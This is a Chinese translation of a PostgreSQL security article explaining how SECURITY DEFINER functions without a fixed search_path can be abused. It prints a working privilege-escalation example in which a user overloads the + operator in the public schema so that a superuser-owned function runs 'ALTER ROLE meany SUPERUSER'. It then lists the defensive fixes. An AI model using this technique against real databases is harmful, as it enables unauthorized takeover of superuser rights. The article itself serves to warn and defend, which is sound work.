暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

[译文] 滥用 SECURITY DEFINER 功能

原创 Laurenz Albe 2021-09-08
1638

SECURITY DEFINER 函数在 PostgreSQL 中是一个强大但危险的工具。

文档警告了危险:

段落引用因为SECURITY DEFINER函数是以拥有它的用户的权限执行的,所以需要注意确保该函数不会被滥用。为了安全起见,search_path应该设置为排除不受信任的用户可写的任何模式。这可以防止恶意用户创建对象(例如,表、函数和运算符)来掩盖函数打算使用的对象。

本文描述了这样的攻击,希望提醒人们这不是闲置的警告。

SECURITY DEFINER有什么用?

默认情况下,PostgreSQL 函数定义为SECURITY INVOKER. 这意味着它们是使用用户 ID 和调用它们的用户的安全上下文执行的。由此类函数执行的 SQL 语句以与用户直接执行相同的权限运行。

一个SECURITY DEFINER功能与功能所有者的用户ID和安全上下文中运行。

这可用于允许低特权用户以受控方式执行需要高特权的操作:您定义SECURITY DEFINER执行该操作的特权用户拥有的函数。该功能以所需的方式限制操作。

例如,您可以允许用户使用COPY TO, 但仅限于某个目录。该功能必须由超级用户拥有(或者,从 v11 开始,由具有该pg_write_server_files角色的用户拥有)。

有什么危险?

当然,必须非常小心地编写此类函数,以避免可能被滥用的软件错误。

但是,即使代码编写得很好,也存在危险:从函数中对数据库对象的非限定访问(即在没有明确指定模式的情况下访问对象)可能会影响函数作者以外的其他对象。这是因为search_path可以在数据库会话中修改配置参数。此参数控制搜索哪些模式来定位数据库对象。

该文档有一个示例,其中search_path用于使用密码检查功能无意中检查临时表的密码。

您可能认为通过在每个表访问中使用模式名称可以避免危险,但这还不够好。

一个无害的 (?)SECURITY DEFINER函数

考虑一个SECURITY DEFINER没有search_path正确控制的函数的看似无害的例子:

CREATE FUNCTION public.harmless(integer) RETURNS integer LANGUAGE sql SECURITY DEFINER AS 'SELECT $1 + 1';
复制

让我们假设此功能由超级用户拥有。

现在乍一看很安全:没有使用表或视图,所以什么都不会发生,对吧?错误的!

“无害”功能如何被滥用
攻击取决于两件事:

有一个模式 ( public),攻击者可以在其中创建对象。
PostgreSQL 具有很强的可扩展性,因此您不仅可以创建新表和函数,还可以创建新类型和运算符(除其他外)。

恶意数据库用户“ meany”可以简单地运行以下代码:

/* * SQL functions can run several statements, the result of the * last one is the function result. * The "OPERATOR" syntax is necessary to schema-qualify an operator * (you can't just write "$1 pg_catalog.+ $2"). */ CREATE FUNCTION public.sum(integer, integer) RETURNS integer LANGUAGE sql AS 'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2'; CREATE OPERATOR public.+ ( FUNCTION = public.sum, LEFTARG = integer, RIGHTARG = integer ); /* * By default, "pg_catalog" is added to "search_path" in front of * the schemas that are specified. * We have to put it somewhere else explicitly to change that. */ SET search_path = public,pg_catalog; SELECT public.harmless(41); harmless ---------- 42 (1 row) \du meany List of roles Role name | Attributes | Member of -----------+------------+----------- meany | Superuser | {}
复制

发生了什么?

该函数是在超级用户权限下执行的。search_path被设置为+在模式中public而不是在pg_catalog. 因此,用户定义的函数public.sum以超级用户权限执行,并将攻击者变成了超级用户。

如果攻击者自己调用了该函数public.sum(或发出ALTER ROLE声明),则会导致“权限被拒绝”错误。但是由于SELECT函数内部的语句以超级用户权限运行,所以操作符函数也是如此。

你如何保护自己?

理论上,您可以对函数体内的所有内容(包括运算符)进行模式限定,但是忘记无害的“ +”或“ =”的风险太大了。此外,这会使您的代码难以阅读,这对软件质量不利。

因此,您应该采取以下措施:

  • 按照文档的建议,始终search_path在SECURITY DEFINERfunction上设置。除了函数中需要的模式外,将pg_temp列表作为最后一个元素。
  • 在不受信任的用户拥有CREATE特权的数据库中不要有任何架构。特别是,从schema 中删除默认的 publicCREATE权限public。
  • 撤销EXECUTE对所有SECURITY DEFINER功能的公共权限,仅将其授予那些需要它的用户。

在 SQL 中:

ALTER FUNCTION harmless(integer) SET search_path = pg_catalog,pg_temp; REVOKE CREATE ON SCHEMA public FROM PUBLIC; REVOKE EXECUTE ON FUNCTION harmless(integer) FROM PUBLIC;
复制
最后修改时间:2021-09-08 12:16:48
「喜欢这篇文章,您的关注和赞赏是给作者最好的鼓励」
关注作者
【版权声明】本文为墨天轮用户原创内容,转载时必须标注文章的来源(墨天轮),文章链接,文章作者等基本信息,否则作者和墨天轮有权追究责任。如果您发现墨天轮中有涉嫌抄袭或者侵权的内容,欢迎发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论